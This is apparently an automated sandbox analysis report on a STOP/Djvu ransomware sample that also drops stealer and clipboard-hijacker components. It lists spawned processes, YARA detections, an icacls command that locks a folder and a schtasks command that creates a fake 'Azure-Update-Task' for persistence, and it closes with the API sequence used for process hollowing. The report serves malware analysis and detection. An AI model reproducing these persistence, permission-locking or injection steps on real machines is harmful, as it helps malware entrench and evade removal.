Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2003325383.0000000004498000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:06:55
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Z4CYGTBlj7.exe"
Imagebase:	0x400000
File size:	799'232 bytes
MD5 hash:	F4C37292B365C19E6D2FEEB6A17C4049
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:06:57
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Imagebase:	0x2e0000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:06:57
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Z4CYGTBlj7.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	799'232 bytes
MD5 hash:	F4C37292B365C19E6D2FEEB6A17C4049
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000004.00000002.2026921389.0000000004458000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:06:58
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Z4CYGTBlj7.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	799'232 bytes
MD5 hash:	F4C37292B365C19E6D2FEEB6A17C4049
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:06:59
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe --Task
Imagebase:	0x400000
File size:	799'232 bytes
MD5 hash:	F4C37292B365C19E6D2FEEB6A17C4049
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000006.00000002.2046936112.0000000005C90000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000006.00000002.2046936112.0000000005C90000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000006.00000002.2046892005.000000000444F000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs Detection: 42%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:07:00
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe --Task
Imagebase:	0x400000
File size:	799'232 bytes
MD5 hash:	F4C37292B365C19E6D2FEEB6A17C4049
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000007.00000002.4452631416.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000007.00000002.4452631416.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000007.00000002.4452631416.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	12:07:06
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe"
Imagebase:	0x400000
File size:	296'448 bytes
MD5 hash:	A04031208441077A014F42095FF86107
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000008.00000002.2113400780.0000000001CFE000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000008.00000002.2113477496.0000000003680000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:07:06
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe"
Imagebase:	0x400000
File size:	296'448 bytes
MD5 hash:	A04031208441077A014F42095FF86107
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000009.00000002.2284519794.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: HiddenCobra_BANKSHOT_Gen, Description: Detects Hidden Cobra BANKSHOT trojan, Source: 00000009.00000002.2284519794.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	12:07:09
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe"
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000B.00000002.2246383419.0000000000A3C000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000000B.00000002.2246217362.0000000000970000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000000B.00000002.2246217362.0000000000970000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000000B.00000002.2246217362.0000000000970000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:07:10
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe" --AutoStart
Imagebase:	0x400000
File size:	799'232 bytes
MD5 hash:	F4C37292B365C19E6D2FEEB6A17C4049
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000C.00000002.2176760234.0000000004452000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000C.00000002.2177082596.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000C.00000002.2177082596.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:07:12
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe" --AutoStart
Imagebase:	0x400000
File size:	799'232 bytes
MD5 hash:	F4C37292B365C19E6D2FEEB6A17C4049
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000D.00000002.2188415452.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000D.00000002.2188415452.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000D.00000002.2188415452.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	12:07:20
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe"
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000000F.00000002.2247201319.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000000F.00000002.2247201319.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000000F.00000002.2247201319.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	12:07:20
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Imagebase:	0xc20000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	12:07:20
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	12:07:21
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 00000012.00000002.2354024907.0000000000960000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000012.00000002.2354024907.0000000000960000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000012.00000002.2354024907.0000000000960000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000012.00000002.2354307635.0000000000B2D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 87%, ReversingLabs Detection: 87%, Virustotal, Browse
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	12:07:30
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 00000013.00000002.4452588974.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000013.00000002.4452588974.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000013.00000002.4452588974.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	12:07:31
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Imagebase:	0xc20000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	12:07:31
Start date:	24/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	12:07:38
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe" --AutoStart
Imagebase:	0x400000
File size:	799'232 bytes
MD5 hash:	F4C37292B365C19E6D2FEEB6A17C4049
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000016.00000002.2436787677.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000016.00000002.2436787677.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000016.00000002.2436081447.000000000425D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	12:07:38
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe" --AutoStart
Imagebase:	0x400000
File size:	799'232 bytes
MD5 hash:	F4C37292B365C19E6D2FEEB6A17C4049
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000017.00000002.2448318132.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000017.00000002.2448318132.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000017.00000002.2448318132.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	12:08:01
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000019.00000002.2747322781.00000000009A0000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 00000019.00000002.2747130938.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000019.00000002.2747130938.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000019.00000002.2747130938.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	12:08:10
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001A.00000002.2746264570.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001A.00000002.2746264570.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001A.00000002.2746264570.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	12:09:00
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001B.00000002.3371787102.0000000000820000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001B.00000002.3372159400.0000000000910000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001B.00000002.3372159400.0000000000910000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001B.00000002.3372159400.0000000000910000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	12:09:12
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001C.00000002.3371066781.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001C.00000002.3371066781.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001C.00000002.3371066781.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	12:10:00
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001D.00000002.3960074631.0000000000820000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001D.00000002.3960348495.0000000002410000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001D.00000002.3960348495.0000000002410000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001D.00000002.3960348495.0000000002410000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	12:10:11
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001E.00000002.3959334294.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001E.00000002.3959334294.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001E.00000002.3959334294.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	12:11:00
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	97.4%
Signature Coverage:	43.6%
Total number of Nodes:	39
Total number of Limit Nodes:	7

Executed Functions

Function 05DD0110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 05DD0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 05DD016C
CreateProcessA.KERNELBASE(?,00000000), ref: 05DD0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 05DD0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 05DD0283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 05DD029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05DD02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 05DD02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 05DD0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 05DD032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 05DD0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05DD03BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 05DD03E1
ResumeThread.KERNELBASE(00000000), ref: 05DD03ED
ExitProcess.KERNEL32(00000000), ref: 05DD0412

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: d1abb6f712b7367359e42187b8f22fcac9a618077d28a39e79142cc119e792e0
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: BEB1C874A00208AFDB44CF98C895FAEBBB5FF88314F248158E949AB395D771AD41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 044987C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 044987EE
Module32First.KERNEL32(00000000,00000224), ref: 0449880E

Memory Dump Source

Source File: 00000000.00000002.2003325383.0000000004498000.00000040.00000020.00020000.00000000.sdmp, Offset: 04498000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4498000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
